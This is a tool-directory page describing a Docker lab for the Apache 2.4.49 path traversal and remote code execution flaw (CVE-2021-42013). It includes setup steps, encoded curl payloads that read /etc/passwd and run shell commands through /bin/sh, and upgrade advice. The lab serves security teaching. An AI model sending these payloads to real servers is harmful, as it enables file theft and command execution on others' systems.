Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
apache-cve-2021-42013-lab — Docker ortamında Apache HTTP Server 2.4.49 (CVE-2021-42013) zafiyetinin gösterildiği laboratuvar çalışması. | Kitploit
工具/GitHubGitHub/berraesen/apache-cve-2021-42013-lab
容器安全漏洞分析漏洞利用Web应用程序漏洞利用学习与教育实验室与实践
GitHubberraesen/apache-cve-2021-42013-lab

apache-cve-2021-42013-lab

Docker ortamında Apache HTTP Server 2.4.49 (CVE-2021-42013) zafiyetinin gösterildiği laboratuvar çalışması.

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
71个月前尚未审核

Apache HTTP Server 2.4.49 路径遍历与远程代码执行 (CVE-2021-42013)

关于项目

在本项目中,我使用Docker搭建的实验室环境展示了Apache HTTP Server 2.4.49版本中存在的CVE-2021-42013漏洞。

目的是在可控环境中研究漏洞的产生原理、运行机制及其对系统的影响。

本研究仅供教育和实验室目的使用。

使用的技术

  • Docker
  • Ubuntu 22.04
  • Apache HTTP Server 2.4.49
  • Bash
  • curl

项目文件结构

root@kitploit:~
.
├── Dockerfile
├── index.html
└── README.md

要求

运行项目之前,需要安装以下软件:

  • Docker Desktop
  • Git (可选)

安装

首先,将仓库下载到您的计算机。

root@kitploit:~
git clone https://github.com/berraesen/apache-cve-2021-42013-lab.git

进入目录。

root@kitploit:~
cd apache-cve-2021-42013-lab

创建Docker镜像。

root@kitploit:~
docker build -t apache-2.4.49-src .

启动容器。

root@kitploit:~
docker run -d -p 8081:80 --name apache-src apache-2.4.49-src

进入容器。

root@kitploit:~
docker exec -it apache-src /bin/bash

检查Apache版本。

root@kitploit:~
/usr/local/apache2/bin/httpd -v

退出容器:

root@kitploit:~
exit

检查Apache模块

您可以使用以下命令检查CGI模块是否已启用。

root@kitploit:~
docker exec -it apache-src /usr/local/apache2/bin/apachectl -M

启用CGI模块

root@kitploit:~
docker exec -it apache-src sed -i 's/#LoadModule cgid_module/LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf

然后重新启动Apache。

root@kitploit:~
docker exec -it apache-src /usr/local/apache2/bin/apachectl restart

关闭CGI模块:

root@kitploit:~
docker exec -it apache-src sed -i 's/LoadModule cgid_module/#LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf

然后再次重启。

测试漏洞

路径遍历

root@kitploit:~
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"

远程代码执行

root@kitploit:~
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id"

要查看更多系统信息:

root@kitploit:~
curl.exe -s --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id; uname -a; whoami" -o -

预期结果

安装完成后:

  • Apache 2.4.49 应成功运行。
  • 启用CGI模块后,可观察到漏洞。
  • 可通过路径遍历访问系统文件。
  • 可以看到RCE能够在服务器上执行命令。

漏洞工作原理

root@kitploit:~
客户端 (cURL)
      │
      ▼
Apache HTTP Server 2.4.49
      │
      ▼
URL规范化错误
      │
      ▼
路径遍历
      │
      ├──────────────► CGI关闭
      │                     │
      │                     ▼
      │             可以访问文件
      │
      ▼
CGI启用
      │
      ▼
可执行/bin/sh
      │
      ▼
远程代码执行 (RCE)

要演示RCE场景,需要启用mod_cgi模块。

预防措施

建议将Apache HTTP Server升级到2.4.51或更高版本以修复此漏洞。此外,如果不使用CGI,建议禁用它,并仅为必要目录定义适当的访问权限。

下载工具